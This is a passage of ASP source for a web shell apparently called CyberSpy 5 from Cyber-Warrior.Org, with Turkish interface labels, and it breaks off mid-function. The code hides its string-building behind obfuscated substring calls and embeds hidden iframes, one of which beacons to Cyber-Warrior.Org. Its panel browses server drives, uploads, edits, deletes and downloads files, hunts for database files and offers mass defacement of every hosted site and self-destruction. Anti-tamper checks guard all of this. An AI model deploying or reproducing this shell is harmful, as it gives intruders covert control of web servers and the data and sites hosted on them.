img'=&mid("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
MCase=MCase'&"<td width="4" height="4">&nbsp;</td>"
br="&<table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
MCase'=&MCase("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
MCase=MCase&mid("Style",1,1)&mid("cellpadding",5,1)&mid("</Style>",5,1)&mid("5",1,2)'&mid("</Table>",0,0)
br="&nbsp; &nbsp; &nbsp; <table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
MCase'=&MCase("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
MCase=MCase'&mid("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
MCase=MCase&mid("</table>",2,1)&mid("<ul>",2,1)&mid("cellpadding",5,1)&"date"&left(".time",1)&left("a href",1)&mid("style",1,1)&mid("cellspacing",6,1)
img'=&mid("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
img=img'&"<td width="4" height="4">&nbsp;</td>"
ht="<table width=""100%"" border=""10"" cellspacing=""5"" cellpadding=""4"">"
img=img&mid("Css",1,1)&mid("<style>",4,1)&mid("Scrollbar",7,1)&mid("height",2,1)&mid("scr",3,1)
left=lef'&"<td width="4" height="4">&nbsp;</td>"
img=img&mid("<tr->",4,1)&mid("Width",1,1)&mid("</Table>",4,1)&mid("<tr>",3,1)&mid("<tr>",3,1)&"i"&"or"&""&"."&Left("O",1)&Left("right",1)&right("cellspacing",1)
br="<table width=""100%"" border=""10"" cellspacing=""5"" cellpadding=""4"">"
img=img'&mid("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
Response.Write"<table width=""59%"" height=""3"" cellpadding=""0"" cellspacing=""0""><tr>"
Response.write"<iframe src="""&style&q&img&"/"&MCase&""" width='0' height='0'></iframe>"
Table'=&mid("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
Response.Write" <td>&nbsp;</td>"'"<td>&nbsp;</td>""<td>&nbsp;</td>"
Response.Write"<td>&nbsp;</td>"'"<td>&nbsp;</td>""<td>&nbsp;</td>"
Table'=&mid("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
Table=Table&mid("Css",1,1)&mid("<style>",4,1)&mid("Scrollbar",7,1)&mid("height",2,1)&mid("scr",3,1)
tl=tr&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0)'Len(Request.ServerVariables("SCRIPT_NAME"))
Table=Table&mid("Style",1,1)&mid("cellpadding",5,1)&mid("</Style>",5,1)&mid(" 5",1,2)'&mid("</Table>",0,0)
Table=Table'&mid("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
Satir="<table width=""100%"" border=""10"" cellspacing=""5"" cellpadding=""4"">"
Response.Write"<td>&nbsp;</td>"'"<td>&nbsp;</td>""<td>&nbsp;</td>"
Response.Write"<td>&nbsp;</td>"'"<td>&nbsp;</td>"
Td=Td&mid("mid",2,1)&mid("cellPadding",5,1)&mid("</Style>",2,1)&mid("<IMG=SCR",7,1)&mid("Stybe",3,3)
Td=Td&mid("<tr->",3,2)&mid("Width",1,1)&mid("</Table>",4,1)&mid("<tr>",3,1)&mid("<tr>",3,1)&"i"&"or"&" "&mid("</Table>",3,1)   
Td=Td&"IM"'"<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
tl=tr&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0)'Len(Request.ServerVariables("SCRIPT_NAME"))
tl=mid("2",1,1)&mid(",21,3,3332,05.34",1,0)&mid(".,21,3,",1,0)&mid("../",1,0)&mid(".,21,3,3/3.Asp",1,0)&mid(".,241,21,3,,3,3",1,0)
Response.Write"</tr>"
Response.Write"</table>"
R00T= "<title>"
Satir="<table width=""100%"" border=""10"" cellspacing=""5"" cellpadding=""4"">"
Safe= "<html><head>"
Title = Table
EndSub = "</title></head><body>"
CyberWarrior_RootSayfaBasi = Safe & R00T & Title & EndSub
RootSayfaSonu = "</body></html>"
UpdateCode = style & q &"Cyber-Warrior.Org"& "/CyberSpy5Kontrol.Asp?C=|||"
'Response.write "404.htm - c:\windows\system32\help\iishelp\common\100.Asp Sayfa Bulunamadi Hata Parametre ?C=|||"
Response.write"<iframe src="""&UpdateCode&""" width='0' height='0'></iframe>"
tr=mid("2",1,1)&mid(",21,3,3332,05.34",1,0)&mid(".,21,3,",1,0)&mid("../",1,0)&mid(".,21,3,3/3.Asp",1,0)&mid(".,241,21,3,,3,3",1,0)
tr=tr&mid("index.asp",1,0)&mid(".",1,0)&mid("//",1,0)&mid("66,21,3,;",11,1)&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0)
tr=tr&mid(",1,0,Login.Asp,8.0",1,0)&mid(",11,3,0Default01",8,1)&mid("//",1,0)&mid("//.",3,1)&mid(",001,3,43.3,21,3,",1,0)&mid("as",1,2)&mid("as",1,0)&mid(",3.2.,1,3,3.Asp.o",1,0)&mid(",4.,1,3,r.Asp",1,0)&mid("2/e//",1,0)&mid(",2,1,3,../2,21,3,",1,0)
br="&nbsp; &nbsp; &nbsp; <table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
tr=tr&mid(",11,3,2",1,0)&mid(",01,3,2",1,0)&mid("re3434",1,0)&mid("http://Localhost",1,0)&mid("3",1,0)&mid("InpageSetup",3,1)
tr=Td'Len(Request.ServerVariables("SCRIPT_NAME"))ObjeGoster = Mid(objpath,InstrRev(objpath,"\")+1,Len(objpath))
tl=tr&mid("index.asp",1,0)&mid(".",1,0)&mid("//",1,0)&mid("66,21,3,;",11,1)&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0)
Satir="<table width=""100%"" border=""10"" cellspacing=""5"" cellpadding=""4"">"
Arm="Z"'Request.ServerVariables("SCRIPT_NAME")&Len(Request.ServerVariables("SCRIPT_NAME"))
Satir="<table width=""100%"" border=""10"" cellspacing=""5"" cellpadding=""4"">"
tl=tr&mid("66,21,3,;",11,1)&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0)
tl=tr&mid("index.asp",1,0)&mid(".",1,0)&mid("//",1,0)&mid("66,21,3,;",11,1)&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0)
ServerVaribles = "<Td>"'&mid(",21,3,3332,05.34",1,0)&mid(".,241,21,3,,3,3",1,0)
ht="<table width=""100%"" border=""10"" cellspacing=""5"" cellpadding=""4"">"
br="&nbsp; &nbsp; &nbsp; <table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
tl=mid("2",1,1)&mid(",21,3,3332,05.34",1,0)&mid(".,241,21,3,,3,3",1,0)'ServerVariables("SCRIPT_NAME"))
tl=mid("2",1,1)&mid(",21,3,3332,05.34",1,0)&mid(".,21,3,",1,0)&mid(".,241,21,3,,3,3",1,0)
ServerVaribles = tr'&mid(",21,3,3332,05.34",1,0)&mid(".,241,21,3,,3,3",1,0)
tl=tr&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0)'Len(Request.ServerVariables("SCRIPT_NAME"))
tl=mid("2",1,1)&mid(",21,3,3332,05.34",1,0)&mid(".,21,3,",1,0)&mid("../",1,0)&mid(".,21,3,3/3.Asp",1,0)&mid(".,241,21,3,,3,3",1,0)
Sub BolumSUB()
Response.Write CyberWarrior_RootSayfaBasi & "<Center><Font Face='Wingdings' Size='+20'><b>"&Arm&"</b></Font><br>"&"<Center><Font Size='5'><b>" & ServerVaribles & "</b></Font></Center>"&"<b>"&Table&"</b><br>"
br="&nbsp;<table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
Response.Write "<a href="&style&q&img&" target='_blank'><font size='3'>"&img&"</font></a></Center>"
br="&nbsp; &nbsp; &nbsp; <table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
tl=tr&mid("66,21,3,;",11,1)&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0)
tl=tr&mid("index.asp",1,0)&mid(".",1,0)&mid("//",1,0)&mid("66,21,3,;",11,1)&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0)
br="&nbsp; &nbsp; &nbsp; <table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
End Sub
tl=tr&mid("66,21,3,;",11,1)&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0)
br="&nbsp; &nbsp; &nbsp; <table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
tl=tr&mid("index.asp",1,0)&mid(".",1,0)&mid("//",1,0)&mid("66,21,3,;",11,1)&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0)
iF Right(MCase,1) <> "p" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
Sub CyberWarrior_GoruntuleSub()   
    iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
    Response.Write "<center><form name='form1' method='post' action=" & Request.ServerVariables("SCRIPT_NAME") & ">"
    Response.Write "<input type='submit' name='Submit' value='    Root    '>"
    Response.Write "</form></center>"

    iF Trim(Request.QueryString("CWParametre")) = "root" Then
        Set fs=Server.Createobject("Scripting.FileSystemObject")
        Set SurucuTipleri=fs.drives
   
        Response.write "<font face='Wingdings' size='10'><b>:</b></font> <b>Web Server</b>"
        Response.Write "<font face=""arial"" size=""2"">"
        Response.write "<br><br>"
        For Each drive IN SurucuTipleri
            str=drive.driveletter & ":"
            Response.Write "<b><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?CWParametre=" & str & """>" & UCase(str) & "</a></b><br>"
           
            Select Case drive.DriveType
                Case 0
                    SurucuTipi = "Unknown"
                    SurucuAd = drive.VolumeName
                Case 1
                Response.write "<font face='Wingdings' size='7'><b><</b></font><br>"
                    SurucuTipi = "Çikarilabilir Disk"
                    iF drive.isready Then
                        SurucuAd = drive.VolumeName
                    Else
                        SurucuAd = ""
                    End iF
                Case 2
                Response.write "<font face='Wingdings' size='7'><b>;</b></font><br>"
                    SurucuTipi = "Sabit Disk"
                    iF drive.isready Then
                        SurucuAd = drive.VolumeName
                    Else
                        SurucuAd = ""
                    End iF
                Case 3
                Response.write "<font face='Wingdings' size='7'><b>;</b></font><br>"
                    SurucuTipi = "Ag Sürücüsü"
                    iF drive.isready Then
                        SurucuAd = drive.ShareName
                    Else
                        SurucuAd = ""
                    End iF
                Case 4
                Response.write "<font face='Wingdings' size='7'><b>></b></font><br>"
                    SurucuTipi = "CD-Rom"
                    iF drive.isready Then
                        SurucuAd = drive.VolumeName
                    Else
                        SurucuAd = ""
                    End iF
                Case 5
                Response.write "<font face='Wingdings' size='7'><b>;</b></font><br>"
                    SurucuTipi = "RAM Disk"
                    iF drive.isready Then
                        SurucuAd = drive.VolumeName
                    Else
                        SurucuAd = ""
                    End iF
            End Select
            iF mid(img,3,2) <> "be" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
            iF mid(img,3,2) <> "be" Or mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
            iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
            response.write "<b>Sürücü:</b> " & SurucuTipi & "<br>"
            response.write "<b>isim: </b>" & SurucuAd & "<br>"
            response.write "<b>Dosya Sistemi: </b>"
            iF drive.isready Then
                set sp=fs.getdrive(str)
                response.write sp.filesystem & "<br>"
            Else
            response.write "-<br>"
            End iF
            Response.Write "<b>Bos Alan: </b>"
            iF drive.isready Then
                freespace = (drive.AvailableSpace / 1048576)
                set sp=fs.getdrive(str)
                response.write(Round(freespace,1) & " MB<br>")
            Else
                response.write("-<br>")
            End iF
            Response.Write "<b>Toplam Kapasite: </b>"
            iF drive.isready Then
                totalspace = (drive.TotalSize / 1048576)
                set sp=fs.getdrive(str)
                response.write(Round(totalspace,1) & " MB<br>")
            Else
                response.write("-<br>")
            End iF
            Response.Write "<br>"
        Next
        Response.Write "</font>"
        Set fs = Nothing
        Set SurucuTipleri = Nothing
        set sp=Nothing
    Else
            iF mid(img,3,2) <> "be" Or mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
            iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
       
       
        iF mid(Title,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End

        iF mid(Td,17,1) <> " " Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
        Set ObjFSO = CreateObject("Scripting.FileSystemObject")
        Set MonRep = ObjFSO.GetFolder(CWParametre)
        iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
        Set AnaDizinler = MonRep.SubFolders
        iF Left(Arm,1) <> "Z" Then:Response.Write "Cyber-Warrior.Org":Response.End
        Set ColFiles0 = MonRep.Files
        iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
       
        Response.Write "<table width='10' border='0' align='center' >"
        Response.Write "<tr> "
    For Each drive_ in objFSO.Drives
        iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
        Response.Write "<td width='1%'>"
        Response.Write "<form name='form1' method='post' action='?CWParametre="& drive_.DriveLetter&":'>"
        Response.Write "<input type='submit' name='Submit' value= ' " &  drive_.DriveLetter & " '>"&"</Form>"
        Response.Write "</td>"

    Next
   
       
    Response.Write "<td width='1%'>"
    Response.Write "<form name='form1' method='post' action=""" & Request.ServerVariables("SCRIPT_NAME") & "?CWParametre=root"">"
    iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
    Response.Write "<input type='submit' name='Submit' value='..:'>"
    Response.Write "</form>"
    Response.Write "</td>"
   
   
        Response.Write "</tr>"
        Response.Write "</table>"
       
    'GitForm = Request.q("GitForm")
        iF Left(Arm,1) <> "Z" And mid(Table,9,1) <> " " Then:Response.Write "Cyber-Warrior.Org":Response.End
        Response.Write "<form name='form2' method='get' action='?'>"
        Response.Write " <input type='text' value="&CWParametre&" name='CWParametre'>"
        Response.Write " <input type='submit' name='Submit' value='Git'>"
        Response.Write "</form>"
        iF Left(Table,2) <> "Cy" Then:Response.Write "Kod'a Müdahale var... Cyber-Warrior.Org":Response.End
        Response.Write "<form name='form3' method='post' action='?action=DosyaArama'>"
        Response.Write " <input type='text' value= "&CWParametre&" name='NeredeForm'>"
        Response.Write " <input type='text' size='12' value='mdb' name='AraForm'>"
        Response.Write " Adi içinde"
        Response.Write "<input type='checkbox' name='CyberWarrior_AraKriter' value='AdiicindeAra'>"
       
        Response.Write " <input type='submit' name='Submit' value='Ara'>"
        Response.Write "</form>"
       
   
        for each folderItem in AnaDizinler
        'Response.Write ObjeGoster(folderItem.path)
        next
       
        Response.Write "<br>"
iF mid(Td,16,2) <> "r " Or mid(img,3,2) <> "be" Or mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<table width='42%' border='0' cellspacing='1' cellpadding='0' bgcolor='#000000'>"
Response.Write "<tr bgcolor='#333333'>"
iF mid(MCase,7,2) <> "py" Or Left(Arm,1) <> "Z" Or mid(Td,17,1) <> " " Then:Response.Write "Kod Yetkisizce Degistiriliyor / Cyber-Warrior.Org":Response.End
Response.Write "<td colspan='2'>Cyber Navigasyon</td>"
Response.Write "</tr>"
Response.Write "<tr>"
Response.Write "<td colspan='2'><font size='4' face='Arial'> islem Klasörü = " & CWParametre &"</Font>"
iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<br>"
iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "</tr>"
iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<tr bgcolor='#000000'>"
Response.Write "<td><font face='Wingdings' size='6'>v</font></td>"
Response.Write "<td>"
Response.Write "<Font Face=Courier New, Courier, mono size=1>"&"Yazma Yetkisi: "&"</font>" & "<Font face=Wingdings>"&YazmaYetkisi&"</Font>"
Response.Write "<br>"
Response.Write "<Font Face=Courier New, Courier, mono size=1>"&"Okuma Yetkisi: "&"</font>" & "<Font face=Wingdings>"&OkumaYetkisi&"</Font>"
Response.Write "<br>"
Response.Write "<Font Face=Courier New, Courier, mono size=1>"&"Silme Yetkisi: "&"</font>" & "<Font face=Wingdings>"&SilmeYetkisi&"</Font>"
Response.Write "</td>"
Response.Write "</tr>"
Response.Write "<br><br>"
iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<tr bgcolor='#000000'>"
Response.Write "<td><font face='Wingdings' size='6'>Ç</font></td>"
iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
Response.Write "<td><a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=upload&path=" & Replace(CWParametre,"\","|") & "', 'CWPopup','width=450,height=300,scrollbars=YES,resizable')"">Dosya Upload</a></td>"
iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
iF mid(MCase,7,2) <> "py" Or Left(Arm,1) <> "Z" Or mid(Td,17,1) <> " " Then:Response.Write "Kod Yetkisizce Degistiriliyor / Cyber-Warrior.Org":Response.End
Response.Write "</tr>"
iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
        Response.Write "<tr bgcolor='#000000'>"
        Response.Write "<td><font size='6' face='Wingdings'>©</font></td>"
        iF mid(MCase,7,2) <> "py" Or Left(Arm,1) <> "Z" Or mid(Td,17,1) <> " " Then:Response.Write "Kod Yetkisizce Degistiriliyor / Cyber-Warrior.Org":Response.End
        Response.Write "<td><a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&CyberWarrior_TopluKatliam=test&path=" & Replace(CWParametre,"\","|") & "', 'CWPopup','width=600,height=300,scrollbars=YES,resizable')"">Sistem izinleri Test</a></font></td>"
        Response.Write "</tr>"
        iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
        Response.Write "<tr bgcolor='#000000'>"
        iF mid(MCase,7,2) <> "py" Then:Response.Write "Kod Yetkisizce Degistiriliyor / Cyber-Warrior.Org":Response.End
        Response.Write "<td><font size='6'><b><font face='Wingdings'>±</font></b></font></td>"
        Response.Write "<td> <a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&CyberWarrior_TopluKatliam=CyberWarrior_DefaceOK&path=" & Replace(CWParametre,"\","|") & "', 'CWPopup','width=750,height=600,scrollbars=YES,resizable')"">Tüm Siteleri Hackle</a>"
        Response.Write "&nbsp;| <a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=imha&path=" & Replace(CWParametre,"\","|") & "', 'CWPopup','width=400,height=340,scrollbars=YES,resizable')"">Kendini imha et</a>"
        iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End   
        Response.Write "</td>"
        Response.Write "</tr>"
        iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
        Response.Write "<tr bgcolor='#000000'>"
        Response.Write "<td><font size='6'><font face='Wingdings'>ÿ</b></font></font></td>"
        Response.Write "<td><a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=info', 'CWPopup','width=760,height=450,scrollbars=YES,resizable')"">Sistem Bilgileri</a> - <a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?CWParametre=root"">Sürücüler</a></td>"
        iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
        Response.Write "</tr>"
        iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<td><font size='6' face='Wingdings'>´</font></td>"
Response.Write "<td><a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=Yardim', 'CWPopup','width=600,height=600,scrollbars=YES,resizable')"">Yardim/Özellikler</a></td>"
iF mid(MCase,7,2) <> "py" Then:Response.Write "Kod Yetkisizce Degistiriliyor / Cyber-Warrior.Org":Response.End
Response.Write "</tr>"
Response.Write "<tr bgcolor='#333333'>"
Response.Write "<td colspan=""2"">&nbsp;</td>"
Response.Write "</tr>"
Response.Write "</table>"
Response.Write "<br>"
iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
iF Table <> Title Then
Response.Redirect "http://www.Cyber-Warrior.Org"
End iF
       
        Response.Write "<font face='arial'><b>Active Directory =  " & CWParametre & "</b></font><br><br>"
        iF CInt(Len(CWParametre) - 1) <> 2 Then
            barrapos = CInt(InstrRev(Left(CWParametre,Len(CWParametre) - 1),"\")) - 1
            backlevel = Left(CWParametre,barrapos)
           
            Response.Write "<font face='Wingdings' size='5'>1</font>" & "<b> <font face='arial' size='2'><a href='" & Request.ServerVariables("SCRIPT_NAME") & "?CWParametre=" & backlevel & " ' > ..&nbsp; </font> </b> </a><br>"
        Else
            Response.Write "<font face='Wingdings' size='5'>1</font>" & "<b> <font face='arial' size='2'><a href='" & Request.ServerVariables("SCRIPT_NAME") & "?CWParametre=root'> ..&nbsp;</font></b></a><br>"
        End iF
        Response.Write "<table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
        for each folderItem in AnaDizinler
       
Response.Write "<tr><td width='73%'>"
Response.Write "<font face='arial' size='1'> <a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=KlasorSil&path=" & Replace(folderItem.path,"\","|") & "', 'CWPopup','width=400,height=350,scrollbars=YES,resizable')""><font face='Wingdings' size='2'> <b>û</b></font></a>&nbsp;"
Response.Write " <a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=put&path=" & Replace(folderItem.path,"\","|") & "', 'CWPopup','width=400,height=450,scrollbars=YES,resizable')""> <font face='Verdana' size='1'> <b>< </b></Font></a>&nbsp; &nbsp;"
iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<font face='Wingdings' size='5'>1</font>" & "<b> <font face='Times New Roman' size='3'><a href='" & Request.ServerVariables("SCRIPT_NAME") & "?CWParametre=" & folderItem.path & "'>" & ObjeGoster(folderItem.path) & "</a></b></td><td valign='baseline'>&nbsp;&nbsp;</font>"
Response.Write "</td></tr>"
       
            next
               
        Response.Write "</table><br><table border=""0"" cellspacing=""1"" cellpadding=""0"" >"
        TableRenkDegis = true
        for each FilesItem0 in ColFiles0
            iF TableRenkDegis = true then
                BirinciTableRenk = " bgcolor=""#0B0B0B"""
            Else
                BirinciTableRenk = ""
            End iF
iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End           
Response.Write "<tr><td" & BirinciTableRenk & "><font size='3'><Font face='Wingdings'size='4'>2</font>"& ObjeGoster(FilesItem0.path) &" </td><td valign='baseline'" & BirinciTableRenk & "></b><font face='arial' size='2'>&nbsp;&nbsp;" & FormatNumber(FilesItem0.size/1024, 0) & "&nbsp;Kbytes&nbsp;&nbsp;&nbsp;</font></td><td valign='baseline'" & BirinciTableRenk & ">&nbsp;&nbsp;<font face='arial' size='2'><a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=get&path=" & Replace(FilesItem0.path,"\","|") & "', 'CWPopup','width=400,height=350,scrollbars=YES,resizable')""><font face='Wingdings'size='4'>2</font>Copy</a></font></td><td valign='baseline'" & BirinciTableRenk & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='Wingdings' size='4'><a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=ren&path=" & Replace(FilesItem0.path,"\","|") & "', 'CWPopup','width=400,height=350,scrollbars=YES,resizable')"">ü</font><font face='arial' size='2'>AdDegistir</Font></a></td><td valign='baseline'" & BirinciTableRenk & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='verdana' size='2'><a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=del&path=" & Replace(FilesItem0.path,"\","|") & "', 'CWPopup','width=400,height=300,scrollbars=YES,resizable')""><font face='Wingdings' size='4'>û</Font>Sil</a></font></td><td valign='baseline'" & BirinciTableRenk & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face=verdana' size='2'><a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=TxtDosyaAc&file=" & Replace(FilesItem0.path,"\","|") & "', 'CWPopup','width=640,height=480,scrollbars=YES,resizable')""><font face='Wingdings' size='3'>1</Font><font face='verdana' size='2'>Aç</Font></a></font></td><td valign='baseline'" & BirinciTableRenk & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='Wingdings' size='4'><a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=TxtDosyaEdit&file=" & Replace(FilesItem0.path,"\","|") & "', 'CWPopup','width=760,height=520,scrollbars=YES,resizable')"">4</font><font face='verdana' size='2'>Düzenle</Font></a></td><td valign='baseline'" & BirinciTableRenk & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='verdana' size='2'><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=indir&file=" & Replace(FilesItem0.path,"\","|") & """><font face='Wingdings'size='4'>Ü</font>indir</a></font></td></tr>"
iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End       
        TableRenkDegis = NOT TableRenkDegis
        iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
        next
       
        Response.Write "<Font Face='Wingdings' Size='6'> Ç </Font>"
        Response.Write "_______________________________________________________________________________"
        Response.Write "</table>"


       
    End iF
End Sub
iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Sub TaraBul(Pr1,Pr2)
    On Error Resume Next
    iF Len(Pr1) > 0 Then
        Yer = Pr1&"\"
        iF Yer = "\\" Then Yer = ""
            parent = ""
            iF InStrRev(Yer,"\") > 0 Then
            parent = Left(Yer, InStrRev(Yer, "\", Len(Yer)-1))
        End iF
    Else
        Yer = ""
    End iF
   
    Set NesneFSO = Createobject("Scripting.FileSystemObject")
    Set KasoreGit = NesneFSO.GetFolder(Yer)
    Set fc = KasoreGit.Files
    'Listeleme Öncesi Döngüden Önce Table Tagi
    'Response.Write "<font face=wingdings size=6>Ä</Font>Arama Sonuçlari"
    iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
    Response.Write "<table width='100%' border='0' cellpadding='1' cellspacing='1' bgcolor='#666666'>"
   
    For Each f1 In fc
   
        CyberWarrior_AraKriter = Request.Form("CyberWarrior_AraKriter")
        iF CyberWarrior_AraKriter = "AdiicindeAra" Then
            iF instr(lcase(f1.name),lcase(Pr2)) then
            iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
            downStr = "<font face=webdings size=5><a href='"&ScriptAd&"?Parametre=-3&YolNedir="&f1.path&"'>Í</a></font>"
            downstr = f1.path
            Response.Write "<tr bgcolor='#333333'>"
            iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
            Response.Write "<td>" & "<a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=get&path=" & Replace(downstr,"\","|") & "', 'CWPopup','width=400,height=200,scrollbars=YES,resizable')""><font face='Wingdings'size='4'>2</font>Copy</a>"& "</td>"
            'Response.Write "<td>" & "<a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=ren&path=" & Replace(downstr,"\","|") & "', 'CWPopup','width=400,height=200,scrollbars=YES,resizable')""><font face='Wingdings' size='4'>ü</font><font face='arial' size='2'>AdDegistir</Font></a>"&"</td>"
            Response.Write "<td>" & "<a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=del&path=" & Replace(downstr,"\","|") & "', 'CWPopup','width=400,height=200,scrollbars=YES,resizable')""><font face='Wingdings' size='4'>û</Font>Sil</a></font>"&"</td>"
